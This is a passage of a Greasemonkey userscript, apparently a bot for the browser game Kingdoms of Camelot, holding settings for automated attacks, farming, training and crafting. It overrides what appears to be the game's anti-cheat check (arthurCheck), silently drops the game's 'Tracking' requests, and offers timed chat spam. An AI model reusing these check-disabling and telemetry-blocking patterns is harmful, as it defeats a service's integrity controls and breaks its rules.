Ap6wsVnRMFQpA84wMbqkwGvWMafuEZZrIEDyqyfaEZv1D5zvAB0fAB1lEVYoUR43MG8E4EY4AJeTInX%2BkWdczTXGQC%2FksfLQZ2BHMN8xBtiFMi%2F%2F0JIfQxINWjIM3zIhbTHtsNHiuRHizQ6jNxHN%2FTHmsNIDDgCqXuAjfw5DkjIuCGkk9S5lJSeVyxDkFS5l1RIlpzJkqvJmDTJdWQ8naTBMuzJvHtJXjwpTuTIZNzHv3CDJfzCpJxBRWzKyAOBp%2FykpZRKxvMOKbLK4MNJ%2B%2BM5rlxEedxKRfTK%2FeM5TezKscyitBRL6EPLG3LLM4Q4WlQJufxCGeCLulRL1BOBpGQCWlxKs3Q4fEwMTZzDKrw5wIxLrNzDE1pMdWHKxFwjJDhMyXxL4UjEqwxCXRSDD1iCwETMXNwBzwTNSJtDzrM8ESDNzwzNuyxF1jyCwOTLzltNz%2F%2FsrbIMQlO8zbYcTIQzgR64TasUzc4zgSJggw%2FAzcj0zYEzzjf4ACJgrtdkvBVggufsgdCZzrxjFDr4ABwYTu00ugngTu%2B0yr5iTnsbzyugAxP4zs0Kz58bTyxgz%2B9UHPjUOXvxAjxoz7okzsizlzDYA%2F6sRRA8xhUQAwHFgUw4qfusOQuQgTIQ0BhY0BVET3GzANLczxjoTxb8T9IUUBnoxeay0G6zFwRtTwqFwcjzxBPFARr0ReiTgRMlgkwgrKP8x%2BBkzyjYBBV8ADQgUWy7ACJgAzEwATTgBKF7AMNKzT1EgSVggyX4ADz4BKGjwi80gTBYgxUoAUag0gIoADT%2F8AEmFU8Q0IEw%2BIEUAANK%2BIQfgAAIIIMf4EDfmAA6nYCFkFOlsFOQwFOLqFM0G1OGoAAK8NNA1QA%2BfQhBTVRFTdQJGFRH1QANaFRJHdQ6pVMLoABIrdRK1QALsFM6hVRQBdVP5VRStQBOtQBUTVUL2IANUFVVnYBVvQBX7dRU%2FR0LAIENAAEQmAANKNMu0IESAIMuDYU4WwMjQIEQCIENSNZk1VVdDQERiFYRSFZpZdZoBQForVYR8ABu9QBWZVVmZVUPCIFxZVZzzVVsNVdqldZrRddv3QB2lVYTmFcUMAER4AARGIFoJddu7dZ1jdYSiFd2RQGCZdcSKIETSNgT%2FwhYaT1YEyBYFDhYhEXYhD3YhIVYjI3YEkCBFOhYjyXYj%2BXYFMDYjgVZjz3ZkBXZEzDZjIXYlDVZFkBZj2UBmk0BmqVZkGWBnG1ZnkWBFViBjP1ZoR3ZkSXYFWCBo%2F3ZjhVapm1ap3Xam41apG3am12BGNiBGtiBHTjaGXCCJAABH2CEURgFYj2AwjICGmCBGVBbGqCBGYABuIWBGJjbuW1bu73ZGUhbFoABqbVbv50BwM1btw1cwSXcuIUBv01cxU3cGsharM3aHugBIpjcHtDayn1cv%2FUBzfWBHfgBzyUCz%2FVcrd2BySUCIzAC0C3d0j1dI%2FjcH1DdJYhd1k0C1P9VXda9XdpFXSOIXd693SXI3dPlXd6lXeEt3iW4Xd8V3t29XSdoXuSd3SQwXuXd3eMN3ue93uuN3SLY3uKNXtml3iUogvAN3u%2BV3uIVX%2FE93iIwgvU13fXdXvgVXid4Ai3ogi8Igy5Ygh8Agx9omT4IhU8YBVEQugDwq%2BbNAgRO4CyogirIAi3QAgZ%2B4C54YC1QYASm4ApG4Al%2BYAvuYA%2F%2BYAZWYAzuAhIm4REmYS%2FQAi8IAzEQgzB4YS%2BI4RKeYfv9Ahv%2BAjLIYR0mgxfu4TAggzIoAx8eYiJ%2B4RwO4iDeYSLO4R5mYiPeYR5u4ij%2B4SLugiLGXxrO4hKuXy3eYAxTzuAvpuAJXmAHDmEEroLmfYInaF42doIqUOM1ZmM4nmMGZmMGvuM7hmM3ZmA1xmM%2F5uM5juM1ll8n4F04jmArLoM1YIMyWGMYGIAf6NKxFQVRCAgAOw%3D%3D";

var JSON2 = JSON;

// commented out because it appears to be causing a kabam standalone game to refresh as FB sometimes!
// if(document.URL.match(/standalone=1/i)){
//    unsafeWindow.appUrl = window.location.protocol+'//www.kabam.com/games/kingdoms-of-camelot/play?s='+unsafeWindow.g_server;
// } else {
//	unsafeWindow.appUrl = window.location.protocol+'//apps.facebook.com/kingdomsofcamelot/?s='+unsafeWindow.g_server;	  
// };
  
unsafeWindow.arthurCheck = function (a) {
	logit('arthurCheck intercepted');
	return;
};

var Quality = ['Simple','Common','Uncommon','Rare','Epic','Wondrous','Miraculous'];
var JWQuality = ["Cracked", "Flawed", "Cloudy", "Subdued", "Bright"];
var isAFK = false;

var upgradeData = {
  active : false,
  item_upgrade : {},
  item_enhance : {},
  item_repair : [],
  retryInterval : 30,
  enhanceAction : "show",
  enhanceItem : 0,
  enhanceMax  : 1,
  minStones : 100000,
  queuetype : 0,
  upgradetype : 0,
};

//just add your character here and everything else will auto populate
var Filter = {
   Null:atob('rQ=='),
   Period:".",
   Space:" ",
   UnicodeLS:"&#8232;",
};
var Options = {
  srcSortBy    : 'level',
  srcMinLevel  : 1,
  srcMaxLevel  : 7,
  wildType     : 1,
  unownedOnly  : true,
  mistedOnly   : true,
  hostileOnly  : false,  
  friendlyOnly : false,  
  alliedOnly   : false,  
  unalliedOnly : false,  
  neutralOnly  : false,  
  srcAll       : true,  
  srcScoutAmt  : 1,
  minmight     : 1,
  maxmight     : 99999999,
  srcdisttype  : 'square',
  srctype      : 0,
  pbWinIsOpen  : false,
  pbWinDrag    : true,
  pbWinPos     : {},
  pbTrackOpen  : true,
  pbKillFairie : false,
  pbGoldHappy  : 95,
  pbGoldEnable : false,
  pbEveryEnable: false,
  pbEveryMins  : 30,
  pbChatOnRight: false,
  pbWideMap    : false,
  pbFoodAlert  : false,
  pbFoodAlertInt  : 6,
  alertConfig  : {aChat:false, aPrefix:'** I\'m being attacked! **', scouting:false, wilds:false, defend:true, minTroops:10000, spamLimit:10, lastAttack:0, barbautoswitch:false, raidautoswitch: {}, alertTR:false, alertTRset:1, alertTR2:false, alertTRsetwaittime:60,RecentActivity:false,email:false,emailapp:0,alertTRtoff:false,AFK:true,lastatkarr:[],guardian:false,guardautoswitch:{},lastarrtime:[],towercitytext:{}},
  alertSound   : {enabled:false, soundUrl:DEFAULT_ALERT_SOUND_URL, repeat:true, playLength:20, repeatDelay:0.5, volume:100, alarmActive:false, expireTime:0},
  spamconfig   : {aspam:false, spamvert:'Join my Alliance!!', spammins:'30', atime:2 , spamstate:'a'},
  giftDomains  : {valid:false, list:{}},
  celltext     : {atext:false, provider:0, num1:"000", num2:"000", num3:"0000", extended:false},
  giftDelete   : 'e',
  currentTab   : null,
  hideOnGoto   : true,
  transportinterval : 60,
  minwagons    : 100,
  lasttransport: 0,
  reassigninterval: 60,
  lastreassign : 0,
  HelpRequest  : true,
  DeleteRequest: false,
  DeletegAl    : false,
  MapShowExtra : false,
  MapShowLevel : false,
  RaidRunning  : false,
  RaidReset    : 0,
  DeleteMsg    : false,
  DeleteMsgs0  : false,
  DeleteMsgs1  : false,
  DeleteMsgs2  : false,
  DeleteMsgs3  : false,
  DeleteMsgsdf  : false,
  DeleteMsgs4  : false,
  DeleteMsgsUID : "",
  Foodstatus   : {1:0,2:0,3:0,4:0,5:0,6:0,7:0},
  Creststatus  : {1101:0,1102:0,1103:0,1104:0,1105:0,1106:0,1107:0,1108:0,1109:0,1110:0,1111:0,1112:0,1113:0,1114:0,1115:0},
  LastReport   : 0,
  LastCrestReport   : 0,
  MsgInterval  : 1,
  CrestMsgInterval  : 1,
  CrestMercTarget  : 999,
  CrestMercItem : "30792",
  foodreport   : false,
  crestreport  : true,
  Crest1Count  : 0,                            
  Crest2Count  : 0,                                                                            
  crestRunning   : false,    
  Crestinterval        : 5,        
  ThroneDeleteItems    :    false,
  ThroneDeleteLevel    :    0,
  throneSaveNum    :    10,
  throneDeletedNum : 0,
  RangeSaveModeSetting : 0,
  Opacity : 0.9,
  language : 'en',
  curMarchTab : "transport",
  BreakingNews : 0,
  BreakingNewsV : false,
  ScripterTab : false,
  KMagicBox : false,
  filter : false,
  mklag  :  false,
  amain  :  false,
  smain  :  0,
  MAP_DELAY :  4000,
  fchar: "Null",
  toprank:  0,
  botrank:  0,
  showalliance:  "",
  plog:  true,
  raidbtns: false,
  transbtns: false,
  reassgnbtns: false,
  dfbtns: false,
  crestbtns: false,
  Farmbtns: false,
  SaveState: {guardian:{}},
  CrestSlots: 0,
  colorCityTabs: true,
  ThroneHUD: false,
  WWclick: false,
  TreasureChest: false,
  loginReward: false,
  CrestRand: false,
  GESeverytenmin:0,
  GESeveryhour:0,
  GESeveryday:0,
  detAFK: false,
  expinc: false,
  TourneyModeActive:false,
  UseTourneyMM:false,
  CrestList    : {"i1101":0,"i1102":0,"i1103":0,"i1104":0,"i1105":0,"i1106":0,"i1107":0,"i1108":0,"i1109":0,"i1110":0,"i1111":0,"i1112":0,"i1113":0,"i1114":0,"i1115":0,"i1120":0,"i1121":0,"i1122":0},
  ReverseTransport:false,
  ReverseTransportPercent:90,
  UseTourneyST:true,
  UseTourneySC:false,
  UseTourneyPK:false,
  UseTourneySW:false,
  UseTourneyAR:false,
};
//unsafeWindow.pt_Options=Options;

var GlobalOptions = {
  pbWatchdog   : false,
  pbWideScreen : true,
  pbWideScreenStyle : 'normal',
  autoPublishGamePopups : false,
  autoCancelGamePopups : false,
  autoPublishPrivacySetting : 80,
  pbupdate : true,
  pbupdatebeta : 0,
  scriptdate : 0,
  version : 0,
  pbNoMoreKabam : false,
  escapeurl : null,
  cellpin : 0,
};

var CrestOptions = {
  Running      :  false,
  curRound     :  1,
  CrestCity    :  0,
  RoundOne     :  false,
  RoundTwo     :  true,
  lastRoundOne    :  0,
  lastRoundTwo    :  0,
  X            :  0,
  Y            :  0,
  R1ST         :  0,
  R1MM         :  0,
  R1Scout      :  0,
  R1Pike    :  0,
  R1Sword      :  0,
  R1Arch    :  0,
  R1LC         :  0,
  R1HC         :  0,
  R1SW         :  0,
  R1Ball    :  0,
  R1Ram        :  0,
  R1Cat        :  0,
  R1Blood      :  0,
  R1Exec       :  0,
  R1Siege      :  0,
  R1Flame      :  0,
  R1Huss       :  0,
  R1Halb       :  0,
  R1Onager       :  0,
  R1Sabo       :  0,
  R2ST         :  0,
  R2MM         :  0,
  R2Scout      :  0,
  R2Pike    :  0,
  R2Sword      :  0,
  R2Arch    :  0,
  R2LC         :  0,
  R2HC         :  0,
  R2SW         :  0,
  R2Ball    :  0,
  R2Ram        :  0,
  R2Cat        :  0,
  R2Blood      :  0,
  R2Exec       :  0,
  R2Siege      :  0,
  R2Flame      :  0,
  R2Huss       :  0,
  R2Halb       :  0,
  R2Onager       :  0,
  R2Sabo       :  0,
  isWild       :  false,
  isMerc       :  false,

  Paused       :  false,
};
var GiftDB = {
  people :  {},
  giftitems :  [],
  agift  :  false,
  adgift :  false,
};

var CrestData = new Array();

   function CrestFunc (Arr) {
   
      if (Arr == undefined)
         Arr = CrestOptions;

      this.Running      =     true;
      this.curRound     =  1,
      this.CrestCity       =  Arr.CrestCity;
      this.RoundOne     =  Arr.RoundOne;
      this.RoundTwo     =  true;
      this.lastRoundOne    =  0;
      this.lastRoundTwo    =  0;
      this.X            =  Arr.X;
      this.Y            =  Arr.Y;
      this.R1ST         =  Arr.R1ST;
      this.R1MM         =  Arr.R1MM;
      this.R1Scout      =  Arr.R1Scout;
      this.R1Pike       =  Arr.R1Pike;
      this.R1Sword      =  Arr.R1Sword;
      this.R1Arch       =  Arr.R1Arch;
      this.R1LC         =  Arr.R1LC;
      this.R1HC         =  Arr.R1HC;
      this.R1SW         =  Arr.R1SW;
      this.R1Ball       =  Arr.R1Ball;
      this.R1Ram        =  Arr.R1Ram;
      this.R1Cat        =  Arr.R1Cat;
      this.R1Blood      =  Arr.R1Blood;
      this.R1Exec       =  Arr.R1Exec;
      this.R1Siege      =  Arr.R1Siege;
      this.R1Flame      =  Arr.R1Flame;
      this.R1Huss       =  Arr.R1Huss;
      this.R1Halb       =  Arr.R1Halb;
      this.R1Onager     =  Arr.R1Onager;
      this.R1Sabo       =  Arr.R1Sabo;
      this.R2ST         =  Arr.R2ST;
      this.R2MM         =  Arr.R2MM;
      this.R2Scout      =  Arr.R2Scout;
      this.R2Pike       =  Arr.R2Pike;
      this.R2Sword      =  Arr.R2Sword;
      this.R2Arch       =  Arr.R2Arch;
      this.R2LC         =  Arr.R2LC;
      this.R2HC         =  Arr.R2HC;
      this.R2SW         =  Arr.R2SW;
      this.R2Ball       =  Arr.R2Ball;
      this.R2Ram        =  Arr.R2Ram;
      this.R2Cat        =  Arr.R2Cat;
      this.R2Blood      =  Arr.R2Blood;
      this.R2Exec       =  Arr.R2Exec;
      this.R2Siege      =  Arr.R2Siege;
      this.R2Flame      =  Arr.R2Flame;
      this.R2Huss       =  Arr.R2Huss;
      this.R2Halb       =  Arr.R2Halb;
      this.R2Onager     =  Arr.R2Onager;
      this.R2Sabo       =  Arr.R2Sabo;
      this.isWild       =  Arr.isWild;
      this.isMerc       =  Arr.isMerc;

	  this.Paused       =  Arr.Paused;
   };

var TrainOptions = {
  Running    : false,
  Troops     : {1:0,2:0,3:0,4:0,5:0,6:0,7:0,8:0},
  Threshold  : {1:500,2:500,3:500,4:500,5:500,6:500,7:500,8:500},
  Max        : {1:0,2:0,3:0,4:0,5:0,6:0,7:0,8:0},
  Gamble     : {1:0,2:0,3:0,4:0,5:0,6:0,7:0,8:0},
  Workers    : {1:0,2:0,3:0,4:0,5:0,6:0,7:0,8:0},
  Item       : {1:0,2:0,3:0,4:0,5:0,6:0,7:0,8:0},
  Keep       : {1:{Food:0,Wood:0,Stone:0,Ore:0},
                2:{Food:0,Wood:0,Stone:0,Ore:0},
            3:{Food:0,Wood:0,Stone:0,Ore:0},
            4:{Food:0,Wood:0,Stone:0,Ore:0},
            5:{Food:0,Wood:0,Stone:0,Ore:0},
            6:{Food:0,Wood:0,Stone:0,Ore:0},
            7:{Food:0,Wood:0,Stone:0,Ore:0},
            8:{Food:0,Wood:0,Stone:0,Ore:0}
            },
  Enabled    : {1:false,2:false,3:false,4:false,5:false,6:false,7:false,8:false},
  SelectMax  : {1:false,2:false,3:false,4:false,5:false,6:false,7:false,8:false},
  Resource   : {1:true,2:true,3:true,4:true,5:true,6:true,7:true,8:true},
  UseIdlePop : {1:true,2:true,3:true,4:true,5:true,6:true,7:true,8:true},
  CraftingRunning : false,
  CraftIntervallMin : 3,
  CraftMinAether : 50000,
  CraftingActif : {3000:false,3001:false,3002:false,3003:false,3004:false,3005:false,3006:false,3007:false,3008:false,3009:false,3010:false,3011:false},
  CraftingNb : {3000:0,3001:0,3002:0,3003:0,3004:0,3005:0,3006:0,3007:0,3008:0,3009:0,3010:0,3011:0},
  CraftingNbFix : {3000:false,3001:false,3002:false,3003:false,3004:false,3005:false,3006:false,3007:false,3008:false,3009:false,3010:false,3011:false},
  CraftingStats : {3000:[0,0],3001:[0,0],3002:[0,0],3003:[0,0],3004:[0,0],3005:[0,0],3006:[0,0],3007:[0,0],3008:[0,0],3009:[0,0],3010:[0,0],3011:[0,0]},
  CraftingCities : {1:true,2:true,3:true,4:true,5:true,6:true,7:true,8:true},
  CraftUseMH : false,
  CraftUseGH : false,
  CraftUseKH : false,
  CraftUseSH : false,
  tr  :  false,
  trset  :  0,
  actr:     false,
  actrbase: false,
  actrset : 0,
  rvtr  :  false,
  rvtrset  :  0,
  AsTroops     : {1:0,2:0,3:0,4:0,5:0,6:0,7:0,8:0},
  AsEnabled  : {1:false,2:false,3:false,4:false,5:false,6:false,7:false,8:false},
  AsSelectMax  : {1:false,2:false,3:false,4:false,5:false,6:false,7:false,8:false},
  AsMax        : {1:0,2:0,3:0,4:0,5:0,6:0,7:0,8:0},
};
var FarmOptions = {
	RallyClip: 0,
    Running: false,
    MinMight: 30000000,
    MaxMight: 75000000,
    Interval: 1,
    SendInterval: 14,
    MaxDistance: 20,
    Inactive:25,
	MinFarmRes:12,
	DeleteReports:true,
	Troops: {1: 0,2: 20000,3: 0,4: 0,5: 0,6: 0,7: 0,8: 0,9: 0,10: 0,11: 0,12: 0},
	FarmNumber: {1: 0,2: 0,3: 0,4: 0,5: 0,6: 0,7: 0,8: 0},
    CityEnable: {1: true,2: true,3: true,4: true,5: true,6: true,7: true,8: true},
    CityLevel: {0: false,1: false,2: false,3: false,4: false,5: false,6: false,7: false,8: true,9: true,10: true,11: true,12: true},
    Diplomacy: {friendly: true,hostile: true,friendlyToThem: true,friendlyToYou: true,neutral:true,unallied:true},
    FarmMarches: [],
    farmMarches: {},
    Attacks:0,
	Checks:0,
};
var ThroneOptions = {
    Active:false,
    Interval:30,
    RepairTime:0,
   Tries:0,
    minStones : 100000,
   Good:0,
   Bad:0,
   Items: [],
    Salvage:{Attack:true,Defense:true,Life:true,Speed:true,Accuracy:true,Range:true,Load:true,MarchSize:true,MarchSpeed:true,CombatSkill:true,IntelligenceSkill:true,PoliticsSkill:true,ResourcefulnessSkill:true,TrainingSpeed:true,ConstructionSpeed:true,ResearchSpeed:true,CraftingSpeed:true,Upkeep:true,ResourceProduction:true,ResourceCap:true,Storehouse:true,Morale:true,ItemDrop:true},
   SalvageA:{Attack:{},Defense:{},Life:{},Speed:{},Accuracy:{},Range:{},Load:{},MarchSize:{},MarchSpeed:{},CombatSkill:{},IntelligenceSkill:{},PoliticsSkill:{},ResourcefulnessSkill:{},TrainingSpeed:{},ConstructionSpeed:{},ResearchSpeed:{},CraftingSpeed:{},Upkeep:{},ResourceProduction:{},ResourceCap:{},Storehouse:{},Morale:{},ItemDrop:{}},
   SalvageQuality:0,
   saveXitems:0,
   thronekeep:1,
   Salvage_fav:{},
    SingleStat:false,
    Cityrand:false,
    SalvageLevel:1,
    UseTokens:false,
    UseMO:false,
    UseLT:false,
    SaveUnique:true,
    heatup:true,
    ibrokeitems:[],
    autotoggle:{1:false,2:false,3:false,4:false,5:false,6:false,7:false,8:false,},
    savehero: true,
    savestatue: false,
    savepet: false,
    savetapestry: false,
    tabnames: {}
};

var ChampionOptions = {
    Active:false,
    Interval:30,
    RepairTime:0,
   Tries:0,
    minStones : 100000,
   Good:0,
   Bad:0,
   Items: [],
    Salvage:{Attack:true,Defense:true,Life:true,Speed:true,Accuracy:true,Range:true,Load:true,Damage:true,'Bonus Damage':true,Armor:true,Strength:true,Dexterity:true,Health:true,Hit:true,Crit:true,Block:true},
   SalvageA:{Attack:{},Defense:{},Life:{},Speed:{},Accuracy:{},Range:{},Load:{},Damage:{},'Bonus Damage':{},Armor:{},Strength:{},Dexterity:{},Health:{},Hit:{},Crit:{},Block:{}},
   SalvageQuality:0,
   saveXitems:0,
   Championkeep:1,
   Salvage_fav:{},
    SingleStat:false,
    Cityrand:false,
    SalvageLevel:1,
//    UseTokens:false,
//    UseMO:false,
//    UseLT:false,
    SaveUnique:true,
    heatup:false,
    ibrokeitems:[],
    autotoggle:{1:false,2:false,3:false,4:false,5:false,6:false,7:false,8:false,},
    savehero: false,
    tabnames: {}
};

var AttackOptions = {
  LastReport         : 0,
  MsgEnabled            : true,
  MsgInterval           : 1,
  Method           : "distance",
  SendInterval       : 8,
  MaxDistance           : 40,
  RallyClip          : 0,
  Running            : false,
  BarbsFailedKnight     : 0,
  BarbsFailedRP      : 0,
  BarbsFailedTraffic    : 0,
  BarbsFailedVaria      : 0,
  BarbsFailedBog        : 0,
  BarbsTried         : 0,
  DeleteMsg             : true,
  DeleteMsgs0        : false,
  Foodstatus         : {1:0,2:0,3:0,4:0,5:0,6:0,7:0,8:0},
  AetherStatus       : {1:0,2:0,3:0,4:0,5:0,6:0,7:0,8:0},
  MsgLevel            : {1:true,2:true,3:true,4:true,5:true,6:true,7:true,8:true,9:true,10:true,11:true,12:true,13:true,14:true,15:true},
  BarbsDone          : {1:0,2:0,3:0,4:0,5:0,6:0,7:0,8:0},
  BarbNumber         : {1:0,2:0,3:0,4:0,5:0,6:0,7:0,8:0},
  Levels             : {1:{0:false,1:false,2:false,3:false,4:false,5:false,6:false,7:false,8:false,9:false,10:false,11:false,12:false,13:false,14:false,15:false},2:{0:false,1:false,2:false,3:false,4:false,5:false,6:false,7:false,8:false,9:false,10:false,11:false,12:false,13:false,14:false,15:false},3:{0:false,1:false,2:false,3:false,4:false,5:false,6:false,7:false,8:false,9:false,10:false,11:false,12:false,13:false,14:false,15:false},4:{0:false,1:false,2:false,3:false,4:false,5:false,6:false,7:false,8:false,9:false,10:false,11:false,12:false,13:false,14:false,15:false},5:{0:false,1:false,2:false,3:false,4:false,5:false,6:false,7:false,8:false,9:false,10:false,11:false,12:false,13:false,14:false,15:false},6:{0:false,1:false,2:false,3:false,4:false,5:false,6:false,7:false,8:false,9:false,10:false,11:false,12:false,13:false,14:false,15:false},7:{0:false,1:false,2:false,3:false,4:false,5:false,6:false,7:false,8:false,9:false,10:false,11:false,12:false,13:false,14:false,15:false},8:{0:false,1:false,2:false,3:false,4:false,5:false,6:false,7:false,8:false,9:false,10:false,11:false,12:false,13:false,14:false,15:false}},
  Troops             : {1:{1:0,2:0,3:0,4:0,5:0,6:0,7:0, 8:0,9:0, 10:0, 11:0, 12:0},2:{1:0,2:0,3:0,4:0,5:0,6:0,7:0, 8:0,9:0, 10:0, 11:0, 12:0},3:{1:0,2:0,3:0,4:0,5:0,6:0,7:0, 8:0,9:0, 10:0, 11:0, 12:0},4:{1:0,2:0,3:0,4:0,5:0,6:0,7:0, 8:0,9:0, 10:0, 11:0, 12:0},5:{1:0,2:0,3:0,4:0,5:0,6:0,7:0, 8:0,9:0, 10:0, 11:0, 12:0},6:{1:0,2:0,3:0,4:0,5:0,6:0,7:0, 8:0,9:0, 10:0, 11:0, 12:0},7:{1:0,2:0,3:0,4:0,5:0,6:0,7:0, 8:0,9:0, 10:0, 11:0, 12:0},8:{1:0,2:0,3:0,4:0,5:0,6:0,7:0, 8:0,9:0, 10:0, 11:0, 12:0},9:{1:0,2:0,3:0,4:0,5:0,6:0,7:0, 8:0,9:0, 10:0, 11:0, 12:0},10:{1:0,2:0,3:0,4:0,5:0,6:0,7:0, 8:0,9:0, 10:0, 11:0, 12:0},11:{1:0,2:0,3:0,4:0,5:0,6:0,7:0, 8:0,9:0, 10:0, 11:0, 12:0},12:{1:0,2:0,3:0,4:0,5:0,6:0,7:0, 8:0,9:0, 10:0, 11:0, 12:0},13:{1:0,2:0,3:0,4:0,5:0,6:0,7:0, 8:0,9:0, 10:0, 11:0, 12:0},14:{1:0,2:0,3:0,4:0,5:0,6:0,7:0, 8:0,9:0, 10:0, 11:0, 12:0},15:{1:0,2:0,3:0,4:0,5:0,6:0,7:0, 8:0,9:0, 10:0, 11:0, 12:0}},
  MinDistance        : {1:0,2:0,3:0,4:0,5:0,6:0,7:0,8:0,9:0,10:0,11:0,12:0,13:0,14:0,15:0},
  Distance              : {1:750,2:750,3:750,4:750,5:750,6:750,7:750,8:750,9:750,10:750,11:750,12:750,13:750,14:750,15:750},
  Update                : {1:[0,0],2:[0,0],3:[0,0],4:[0,0],5:[0,0],6:[0,0],7:[0,0],8:[0,0]},
  UpdateEnabled         : true,
  UpdateInterval      : 30,
  stopsearch            : 1,
  knightselector        : 0,
  barbMinKnight         : 56,
  barbMaxKnight         : 255,
  threshold          : 750000,
  ItemsFound         : {},
  ItemsFoundCr       : {},
  ThroneItemsFound   : {},
  ThroneItemsFoundCr : {},
  ChampItemsFound    : {},
  ChampItemsFoundCr  : {},
  JewelItemsFound    : {},
  JewelItemsFoundCr  : {},
};

var ResetAll=false;
var deleting=false;

var ChatOptions = {
  latestChats               : [],
  AllowUsersRemoteControl   : [],
  BlacklistUsersRemoteControl: [],
  password                  : '',
  Chatpassenable            : false,
};

var ApothecaryOptions = {
   Active : false,
   goldkeep : 0,
   city : {0:[],1:[],2:[],3:[],4:[],5:[],6:[],7:[]},
};

var CombatOptions = {
   research : [{tch8:0,tch9:0,tch13:0,tch15:0}, //Poison Edge, Metal Alloys, Fletching, Healing Potions
               {tch8:0,tch9:0,tch13:0,tch15:0}],
   knt      : [50,50],
   guardian : [['wood',0],['ore',0]],
   ratio    : [{unt1:{},unt2:{},unt3:{},unt4:{},unt5:{},unt6:{},unt7:{},unt8:{},unt9:{},unt10:{},unt11:{},unt12:{}},
               {unt1:{},unt2:{},unt3:{},unt4:{},unt5:{},unt6:{},unt7:{},unt8:{},unt9:{},unt10:{},unt11:{},unt12:{}}],
}

var HourGlassTDLabel = {
                    1: 'Time: 1 Min | Conditions: 30s+',
                    2: 'Time: 15 Min | Conditions: 5m & 1s+',
                    3: 'Time: 1 Hour | Conditions: 45m & 1s+',
                    4: 'Time: 2.5 Hours | Conditions: 2h & 1s+',
                    5: 'Time: 8 Hours | Conditions: 7h & 30m & 1s+'
};

var HourGlassName = {
                    1: "Squire's Hourglass",
                    2: "Knight's Hourglass",
                    3: "Guinevere's Hourglass",
                    4: "Morgana's Hourglass",
                    5: "Arthur's Hourglass"
};

var HOURGLASSES_TIME = {
    minute1 : 60,
    minute15 : 900,
    hour1 : 3600,
    hour25 : 9000,
    hour8 : 28800
}

var HOURGLASSES_TIME_MIN_THRESHOLD = {
    minute1 : 30, //30 seconds and up will use 1m speedup
    minute15 : 301, //5 minute 1 second and up will use 15m speedup
    hour1 : 2701, // 45 minutes 1 second and up will use 1hr speedup
    hour25 : 7201, // 2 hour 1 second and up will use 2.5hr speedup
    hour8 : 26101 // 7 hours 30 minutes 1 second and up will use 8hr speedup
}

// Get element by id shortform with parent node option
function $(ID,root) {return (root||document).getElementById(ID);}

var nHtml={
  FindByXPath:function(obj,xpath,nodetype) {
   if(!nodetype){
      nodetype = XPathResult.FIRST_ORDERED_NODE_TYPE;
   }
   try {
      var q=document.evaluate(xpath,obj,null,nodetype,null);
   } catch(e) {
      GM_log('bad xpath:'+xpath);
   }
   if(nodetype == XPathResult.FIRST_ORDERED_NODE_TYPE){
      if(q && q.singleNodeValue) { return q.singleNodeValue; }
   }else{
      if(q){
         return q;
      }
   }
   return null;
  },
  
  ClickWin:function(win,obj,evtName) {
   var evt = win.document.createEvent("MouseEvents");
   evt.initMouseEvent(evtName, true, true, win,
      0, 0, 0, 0, 0, false, false, false, false, 0, null);
   return !obj.dispatchEvent(evt);
  },

  Click:function(obj) {
   return this.ClickWin(window,obj,'click');
  },
  
  ClickTimeout:function(obj,millisec) {
   window.setTimeout(function() {
      return nHtml.ClickWin(window,obj,'click');
   },millisec+Math.floor(Math.random()*500));
  },

  SetSelect:function(obj,v) {
   for(var o=0; o<obj.options.length; o++) {
      if(v==obj.options[o].value) { obj.options[o].selected=true; return true; }
   }
   return false;
  },

}

readGlobalOptions ();
readOptions();
MAP_DELAY = Options.MAP_DELAY;
if (document.URL.search(/apps.facebook.com\/kingdomsofcamelot/i) >= 0){
  facebookInstance ();
  loadchecker(true);
  return;
}
if (document.URL.search(/kabam.com\/games\/kingdoms-of-camelot\/play/i) >= 0){
  kabamStandAlone ();
  loadchecker(true);
  return;
}
function loadchecker (init) {
	if (!GlobalOptions.pbWatchdog) return;
	var Sresult = getServerId();
	if(init) {
		if(Sresult == '??') {
			GM_setValue ('Loaded', 0);
			setTimeout(function(){if(GM_getValue ('Loaded') == 0)KOCnotFound(20);},2*60*1000);
		} else {
			GM_setValue (Sresult+'Loaded', 0);
			setTimeout(function(){if(GM_getValue (Sresult+'Loaded') == 0)KOCnotFound(20);},2*60*1000);
		};
	} else {
		GM_setValue ('Loaded', 1);
		GM_setValue (Sresult+'Loaded', 1);
	};
};

var InstallChecker = setTimeout (function(){unsafeWindow.Modal.showAlert(translate('power bot installation is corrupt, please reinstall'))}, 2*60*1000);

if (document.URL.search(/facebook.com/i) >= 0){
   if(document.URL.search(/dialog\/feed/i) >= 0)
      HandlePublishPopup ();
  return;
}
if (document.URL.search(/kingdomsofcamelot.com/i) >= 0){
  kocWideScreen ();
}

function kocWideScreen(){
  function setWideFb (){
   //logit(document.getElementById("kocIframes1"));
   var kocFrame = '';
   try{
      kocFrame = parent.document.getElementById('kocIframes1');
   } catch (e){
      logit("kocWideScreen "+e);
      kocFrame = document.getElementById("kocIframes1");
   }
   if (!kocFrame){
     setTimeout (setWideFb, 1000);
     return;
   }
   kocFrame.style.width = '100%';
   var style = document.createElement('style')
   style.innerHTML = 'body {margin:0; width:100%; !important;}';
   kocFrame.parentNode.appendChild(style);
  }
  kocWatchdog ();
  if (GlobalOptions.pbWideScreen)
      setWideFb();
}
var aj2 = function(c, d, b, a)
    {
        if (d.ctrl && d.ctrl == "Tracking")
        {
            logit("Tracking intercepted");
            logit("Ajax d: " + uneval(d));
            return;
            //disable - don't send on the message
        }
        else
        {
            unsafeWindow.AjaxCall.gAjaxRequest(c, d, b, a, "post");
        }
    }
if(unsafeWindow.AjaxCall)
    unsafeWindow.AjaxCall.gPostRequest = aj2
/***  Run only in "apps.facebook.com" instance ... ***/
function facebookInstance (){
  function setWide (){
   var iFrame = document.getElementById('iframe_canvas');
   if (!iFrame){
     setTimeout (setWide, 1000);
     return;
   }
   iFrame.style.width = '100%';

   while ( (iFrame=iFrame.parentNode) != null)
     if (iFrame.tagName=='DIV')
      iFrame.style.width = '100%';
   document.getElementById('globalContainer').style.left = '0px';
    try{    
      document.getElementById('rightCol').parentNode.removeChild(document.getElementById('rightCol'));
      document.getElementById('leftColContainer').parentNode.removeChild(document.getElementById('leftColContainer'));
    } catch (e){
      // toolkit may have removed them already!
    }
    var e = document.getElementById('mainContainer');
   if(e){
      if (GlobalOptions.pbWideScreenStyle=="normal") e.parentNode.style.minWidth = '100%';
      if (GlobalOptions.pbWideScreenStyle=="wide") e.parentNode.style.width = '1520px';
      if (GlobalOptions.pbWideScreenStyle=="ultra") e.parentNode.style.width = '1900px';
      for(i=0; i<e.childNodes.length; i++){
         if(e.childNodes[i].id == 'contentCol'){
